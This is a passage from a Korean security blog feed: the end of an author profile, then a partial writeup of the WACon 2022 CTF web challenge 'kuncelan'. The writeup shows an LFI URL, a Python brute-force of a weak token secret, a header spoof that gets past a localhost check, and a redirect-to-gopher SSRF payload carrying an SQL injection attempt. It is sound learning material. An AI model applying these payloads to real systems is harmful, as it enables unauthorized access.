14.6667px;&quot;&gt;&amp;nbsp;- 2020 securinets CTF qulas 2위 (Team. Defenit)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 zer0pts CTF 9위 (Team. Defenit)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 Codegate 일반부 15위 (Team. Defenit)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2019. 10. DVP Blockchain Security CTF 2위 수상 (Team. @minivet)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535;&quot;&gt;&amp;nbsp;- 2019. 01. Newsecu Winter CTF 5위 (Team. @arrrr)&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;font-size: 11pt; color: #353535;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Presentations&lt;/b&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2024. 11. FISCON 2024 비공개세션 발표 - 'Campaign Poltergeist: 인증 우회 모의해킹 시나리오'&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2024. 07. 금융보안원 &lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;금융보안아카데미 특강&lt;/span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2023. 08. 금융보안원 &lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;금융보안교육센터 금융권 담당자 대상 특강&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- &lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;2023. 07. 금융보안원 금융보안아카데미 특강&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2022. 09. 금융보안원 금융보안교육센터 금융권 담당자 대상 특강&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2022. 07. 금융보안원 대학생 금융보안 캠프 특강&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2022. 06. 가천대학교 스마트보안학과 특강&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- &lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;2021. 08. 서울여대 정보보호 영재교육원 특강 - '모의해킹, 그리고 금융보안에서의 모의해킹'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2020. 08. 금융보안원 대학생 금융보안 캠프 특강&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2019. 08. Best of the Best 8기 컨설팅 트랙 특강 - '모의침투, 기술컨설팅'&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2019. 07. Best of the Best 8기 발대식 특강&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 11. KUCIS 영남권 컨퍼런스 발표 - 'Solidity 기반 스마트 컨트랙트 취약점 분석 방법'&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 07. CodeEngn 2018 컨퍼런스 발표 - '&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #24292e; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Helvetica, Arial, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 11pt;&quot;&gt;안드로이드 앱 보안솔루션을 간단히 무력화 할 수 있다고?'&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 04. Codegate 2018 컨퍼런스 발표 - '&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;안드로이드 간편결제 앱 취약점 분석을 통한 앱 보안성 향상 연구'&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt; letter-spacing: 0px;&quot;&gt;&amp;nbsp;- 2017. 12. LG유플러스 모의해킹 결과 리포팅 발표 (BoB)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2017. 12. LG전자 서비스 취약점 분석 결과 리포팅 발표&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;(BoB)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;b&gt;Achievements&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2019. 09. 특허 등록 - &quot;이중 패킹을 이용한 코드 난독화&quot; (특허 제&amp;nbsp;10-2018960호)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 12. 한국정보보호학회 동계학술대회 우수논문상 수상 (Mifare Classic 태그 타입 사용 출입 통제 시스템의 보안 취약점 및 대응방안에 대한 연구)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 08. [KCI 등재] 한국정보보호학회 논문지&amp;nbsp;투고 - '안드로이드 간편결제 애플리케이션 보안 솔루션 결과값 변조를 통한 검증기능 우회 방법에 대한 연구'&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 04. KITRI&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;차세대 보안리더 양성&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;프로그램 BoB&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;(Best of the Best) 6기 Best 10 (과학기술정보통신부 장관상)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2018. 04. KITRI 차세대 보안리더 양성 프로그램 BoB(Best of the Best) 6기 Grand Prix&amp;nbsp;팀 선정(Team. JGG)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2017. 12. 금융보안원 보안 취약점 제보 인증서 수여&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2017. 12. 스틸리언(Stealien) 보안 취약점 탐지 인증서 수여&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2017. 12. LG유플러스 보안 취약점 탐지 특별상 수여 (IT전략본부장, 000상무)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;- 2017. 04. Codegate 2017 해킹시연영상 공모전 특별상 수상&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;Contact with&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- Personal :&amp;nbsp;jaewook376@naver.com&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- Business : jwyou@fsec.or.kr&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 14.6667px; letter-spacing: 0px;&quot;&gt;&amp;nbsp;-&lt;/span&gt;&lt;span style=&quot;color: #353535; font-family: '맑은 고딕', sans-serif; font-size: 14.6667px; letter-spacing: 0px;&quot;&gt; https://arang.kr/&lt;/span&gt;&lt;/p&gt;</description>
      <category>Profile/Profile</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/1</guid>
      <comments>https://ar9ang3.tistory.com/1#entry1comment</comments>
      <pubDate>Thu, 9 Feb 2023 11:00:50 +0900</pubDate>
    </item>
    <item>
      <title>2022 WACon CTF - kuncelan (blackbox) Writeup</title>
      <link>https://ar9ang3.tistory.com/71</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;kuncelan&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load&quot;&gt;http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lfi가 존재한다&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php

// LOCATION : ./internal_e0134cd5a917.php

error_reporting(0);
session_start();

if (!isset($_SESSION['username']))
{
    header('location: ./login.php');
    die();
}

if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
    die(&quot;only in include&quot;);
}

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('10.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('172.16.0.0') &amp;gt;&amp;gt; 20 == $int_ip &amp;gt;&amp;gt; 20 
            || ip2long('192.168.0.0') &amp;gt;&amp;gt; 16 == $int_ip &amp;gt;&amp;gt; 16 
            || ip2long('0.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return &quot;IP not allowed or host error&quot;; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return &quot;Error !&quot;;
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION[&quot;X-SECRET&quot;] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie(&quot;USER&quot;,$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie(&quot;X-TOKEN&quot;,hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].&quot;guest&quot;)); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = &quot;&quot;;

if (isset($_POST['url']) &amp;amp;&amp;amp; !empty($_POST['url']))
{
    if ( 
        $IP === &quot;127.0.0.1&quot; 
        &amp;amp; $_COOKIE['X-TOKEN'] === hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        &amp;amp; strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = &quot;Only the administrator can test this function from 127.0.0.1!&quot;;
    }

}

?&amp;gt;

&amp;lt;main role=&quot;main&quot; class=&quot;container&quot;&amp;gt;
&amp;lt;h1 class=&quot;mt-5&quot;&amp;gt; :// ?&amp;lt;/h1&amp;gt;
&amp;lt;p class=&quot;lead&quot;&amp;gt;cURL is powered by libcurl , used to interact with websites  &amp;lt;/p&amp;gt;
&amp;lt;form method=&quot;post&quot; &amp;gt;
&amp;lt;legend&amp;gt;&amp;lt;label for=&quot;url&quot;&amp;gt;Website URL&amp;lt;/label&amp;gt;&amp;lt;/legend&amp;gt;
&amp;lt;input class=&quot;form-control&quot; type=&quot;url&quot; name=&quot;url&quot; style=&quot;width:100%&quot; /&amp;gt;
&amp;lt;input class=&quot;form-control&quot; type=&quot;submit&quot; value=&quot;  Request HTTP  &quot;&amp;gt;
&amp;lt;/form&amp;gt;&amp;lt;?php echo $out; ?&amp;gt; 
&amp;lt;/main&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;load.phtml 추출된결과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl 기능을 admin만 localhost에서 쓸 수 있다고 해놨는데, 이는 우회가 가능하다.&lt;/p&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION[&quot;X-SECRET&quot;] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie(&quot;USER&quot;,$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie(&quot;X-TOKEN&quot;,hash(&quot;sha256&quot;, $_SESSION['X-SECRET'].&quot;guest&quot;)); }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;getrandmax()&lt;/code&gt; 로 랜덤값을 뽑아 sha1으로 해싱하고 10바이트만 뽑아서 이를 다시 username과 붙여 sha256 해싱을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 getrandmax는 21억가량밖에 안되기 때문에, 개인 pc로도 적은시간 안에 해시를 크랙해낼 수 있다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;from arang import *

xtoken = b&quot;b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd&quot;

for i in range(40000000,500000000):
    xsecret = he(sha1(str(i)))[:20]
    t = he(sha256(xsecret+b&quot;guest&quot;))
    if xtoken == t:
        print(xsecret)
        break

    if i % 10000000 == 0:
        print(f&quot;[+] {i} : {xsecret} {t}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 이런식으로 해시를 크랙해보면 내 세션에 대한 xsecret값이 나타난다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 xsecret으로 valid한 admin x-token을 만들어내면 token auth를 우회할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

...

    if ( $IP === &quot;127.0.0.1&quot; ){

...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 &lt;code&gt;X-HTTP-HOST-OVERRIDE&lt;/code&gt;라는 헤더를 추가해서 127.0.0.1으로 맞춰줌으로써 우회가 가능하다&lt;/p&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('10.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24 
            || ip2long('172.16.0.0') &amp;gt;&amp;gt; 20 == $int_ip &amp;gt;&amp;gt; 20 
            || ip2long('192.168.0.0') &amp;gt;&amp;gt; 16 == $int_ip &amp;gt;&amp;gt; 16 
            || ip2long('0.0.0.0') &amp;gt;&amp;gt; 24 == $int_ip &amp;gt;&amp;gt; 24;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 curl기능을 쓸 수 있는데, &lt;code&gt;valid_url&lt;/code&gt;이라는 검증함수가 존재한다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;http/https scheme만 사용 가능&lt;/li&gt;
&lt;li&gt;host파싱해서 gethostbyname으로 호스트에 해당하는 값을 ip2long으로 long형식 전환&lt;/li&gt;
&lt;li&gt;/24, /20, /16 등으로 local ip 대역 검증&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우회하려고 용좀써봤는데 우회가 안되더라..&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;        $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 curl 옵션에 &lt;code&gt;CURLOPT_FOLLOWLOCATION&lt;/code&gt; 이 존재한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;302 Redirection을 curl이 처리하기때문에 내서버로 보낸다음 302 redirection때리면 될거같다.&lt;/p&gt;
&lt;pre class=&quot;perl&quot;&gt;&lt;code&gt;&amp;lt;?php
header(&quot;Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a&quot;);

#header(&quot;Location: &amp;lt;http://127.0.0.1:80/internal_e0134cd5a917.php&amp;gt;&quot;);
#header(&quot;Location: &amp;lt;http://127.0.0.1:80/internal_1d607d2c193b.php&amp;gt;&quot;);
?&amp;gt; &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;load.phtml&lt;/code&gt;에 주석으로 써있던 &lt;code&gt;internal_e0134cd5a917.php&lt;/code&gt; 파일을 location으로 돌리면&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.us-west-2.amazonaws.com/secure.notion-static.com/ac850a1e-ff87-434e-b4eb-391c868e05c7/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20220627%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20220627T081015Z&amp;amp;X-Amz-Expires=86400&amp;amp;X-Amz-Signature=abcd0724ef4d24d14d2603c6d08c6f542975905c7adb5a5bd468da7e76d00a33&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-disposition=filename%20%3D%22Untitled.png%22&amp;amp;x-id=GetObject&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;next file location ㄷㄷ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.us-west-2.amazonaws.com/secure.notion-static.com/cbad9db5-41f8-4343-93b5-dd2b1833fc2f/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20220627%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20220627T081028Z&amp;amp;X-Amz-Expires=86400&amp;amp;X-Amz-Signature=10a5a1f70fb6472323e3a7679b273c79c0e624e0c9d1ac29de8de2d33eca253e&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-disposition=filename%20%3D%22Untitled.png%22&amp;amp;x-id=GetObject&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;basic authorization이 없다고 한다&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.us-west-2.amazonaws.com/secure.notion-static.com/c6b05f47-9bde-47eb-bff4-74d3dddb3e61/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20220627%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20220627T081041Z&amp;amp;X-Amz-Expires=86400&amp;amp;X-Amz-Signature=7d18af69a7cc849fa220d2bb020903e2163a499506abe280c923b89ac5469610&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-disposition=filename%20%3D%22Untitled.png%22&amp;amp;x-id=GetObject&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;guest:guest로 보내보니 &lt;code&gt;SQL : user not found&lt;/code&gt;라고 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아마도 basic authorization을 sql query안에 넣나보다&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.us-west-2.amazonaws.com/secure.notion-static.com/74c78f5d-4eb1-44a8-abaf-8c39bb7c1fd7/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20220627%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20220627T081100Z&amp;amp;X-Amz-Expires=86400&amp;amp;X-Amz-Signature=5d46d68a1f92a6f4e84628ac555396cc131ba7e57cdcb1eb7df19e5f5f37c7bc&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-disposition=filename%20%3D%22Untitled.png%22&amp;amp;x-id=GetObject&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sqli 구문을 넣어보면 &lt;a href=&quot;http://localhost&quot;&gt;localhost&lt;/a&gt; only라고 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 아까처럼 특정헤더나 이런거로 우회가 안됐다&lt;/p&gt;
